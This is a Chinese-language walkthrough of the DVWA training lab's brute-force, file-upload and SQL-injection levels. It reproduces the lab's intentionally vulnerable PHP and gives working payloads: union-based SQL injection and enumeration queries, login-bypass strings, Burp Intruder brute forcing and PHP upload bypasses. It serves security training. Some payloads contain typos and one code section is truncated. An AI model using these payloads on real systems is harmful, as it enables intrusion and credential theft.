DVWA解题方法
一、暴力破解
1、low
源代码:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass ); //password经过md5加密
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
方法一:SQL注入
由源代码“$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";可知它只对密码password进行了加密,而未对用户名user进行加密,所有可以使用SQL入侵,利用万能密码”admin' #"或"admin' or '1'='1 "进行解密。
方法二:BurpSuite
BurpSuite抓包工具→Proxy→Intercept →Intercept on(抓包数据得到用户名和密码)
eg.GET /DVWA/vulnerabilities/brute/?username=admin&password=123456&Login=Login HTTP/1.1
Host: 192.168.50.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.50.1/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=0136760b541fecd1deb6e3ff00b6a2cc; security=medium
Connection: close
→右键→Send to Intruder→Intruder→ Positions→Attack type(Cluster bomb)→Clear→依次选中要爆破的数据(及用户名和密码)之后依次点击Add→Payloads→将Payload set设置为1或2;Payload type设置成Simple list→依次在Payload Options添加用户名和密码→Start attack→用户名和密码就是Status或Length中的数据和其他数据不同的
二、文件上传
low
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) { //isset()函数用来阶测变量是否设置并且非NULL,返回值为布尔值true或false;$_POST变量用来收集表单数据Upload.
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //确定文件存放路径
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // ".="是连接运算符,eg.$a="w";$a.='b";echo $a; 输出wb;basename函数用来提取文件路径中的文件名;$_FILES变量用来提取上传的文件名。补充:a.b表示a连接b。
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
方法:创建一个文本,内容为<?php echo phpinfo(); ?>,并改名为php形式的文件。选择此文件并上传,会出现…/…/hackable/uploads/poc.php succesfully uploaded!,之后登录http://192.168.50.1/DVWA/vulnerability/upload/…/…/hackable/uploads/poc.php,若访问成功,则上传并运行成功。
medium
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
//文件信息
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) { //限制文件形式
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
方法一:选择文件poc.php上传,之后用Burp抓包,之后将Content-Type的值改为image/png,之后按Forward转发。
方法二:选择文件poc.png上传,之后用Burp抓包,之后将Content-Disposition中的filename的值改为poc.php。之后访问http://192.168.50.1/DVWA/vulnerability/upload/…/…/hackable/uploads/poc.php。
high:
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); //strrpos()函数用来定位字符串最后一个字符的位置;substr()函数用来截取字符串;这里是来获取文件扩展名的。
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) { //strtolower()函数用来将大写或小写都改为小写形式;getimagesize()函数用来获取图像大小及相关信息。
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
?>
方法一:定义一个文件,内容为GIF89a <?php phpinfo(); ?> ,名字为poc1.png;之后上传。之后访问http://192.168.50.1/DVWA/vulnerability/fi/?page=file:///phpstudy_pro\WWW\DVWA\hackable\uploads\poc1.png。
impossible:
源代码:
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> succesfully uploaded!</pre>";
}
else {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
三、SQL注入
low
源代码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// 获取输入
$id = $_REQUEST[ 'id' ]; //把提交的东西给id
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// 检查数据库
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// 获取结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// 获取值
$first = $row["first_name"];
$last = $row["last_name"];
// 最终用户反馈
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) { //从结果中获取数据并以数组形式返回。
// 获取值
$first = $row["first_name"];
$last = $row["last_name"];
// 最终用户反馈
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
步骤:
1、判断是数字型注入还是字符型注入:①源代码$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 中id有引号,所有是字符型
②可以输入“1”和“2-1”发现结果不同,所有为字符型。或可以输入“1”有结果,输入“ 1' ”报错,输入“ 1' and '1'='1 ”有结果也可以判断。
补充:字符型:id=1' or 1=1--+ ;id=1 or 1=2--+
数字型:id=1' and 1=1--+ ;id=1 and 1=2--+
如果id是这样的(‘$id'),则输入1’)order by ……
注:输出不好看加0x71;
比赛常考1 union select 1,group_concat(flag),3 from flag --+
报错:如果有对话框可以用updatexml函数及1‘ and updatexml(1,concat(0x71,database(),0x71)1)--+
判断数据库长度:1’ and length(databast())=8 --+
截取字母1' and ascii(subst(database(),1,1)
limit函数:限制返回条数,limit(1)返回一条结果,limit(3,1)返回第三条结果
eg.1' and ascii(subst((select table_name from information_schema.tables where table.schema=database() limit,1,1),1,1)>80--+/
//查询第一个表和第二个表
空格可以用加号代替,如果输入被防火墙拦截,可以将空格换成加号
1' union select 1,2,3 into outfile "绝对路径“--+ //将select找到的东西放到绝对路径的文件里
2、判断字段长度:依次输入“ 1' order by 1# ”,1’ order by 2# “……直到报错为止,可以知道字段的长度。eg.输入” 1' order by 4#"报错,则字段长度为3。
(作用:输入的同时也对first_name和last_name进行了排序。)
3、找弹出位置:输入“ 1' union select 1,2# ”,结果为
ID: 1' union select 1,2#
First name: admin
Surname: admin
ID: 1' union select 1,2#
First name: 1
Surname: 2
下划线处为弹出位置。
补充:输出关键数据,不输出第一个id,输入id=20 union select……
4、查找数据库名字:输入“ 1' union select 1,database()# ”输出结果
ID: 1' union select 1,database()#
First name: admin
Surname: admin
ID: 1' union select 1,database()#
First name: 1
Surname: dvwa
发现数据库名为“dvwa”。
5、查找数据库中所有的表名:输入“ 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# ” 或输入“ 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=dvwa# ”结果为
ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
First name: 1
Surname: guestbook,users
所有dvwa有俩个表guestbook和users。
6、在users表中查找所有字段名:“ 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# ”结果为
ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
First name: admin
Surname: admin
ID: 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
7、查找user和password:输入“ 1' union select user,password from users# ” 。
// 获取输入
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //过滤特殊字符
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; //没有引号为数字型
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// 获取结果
while( $row = mysqli_fetch_assoc( $result ) ) {
// 显示值
$first = $row["first_name"];
$last = $row["last_name"];
// 对终端用户反馈
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
$first = $row["first_name"];
$last = $row["last_name"];
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
// 之后在 index.php页面中使用
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);

浙公网安备 33010602011771号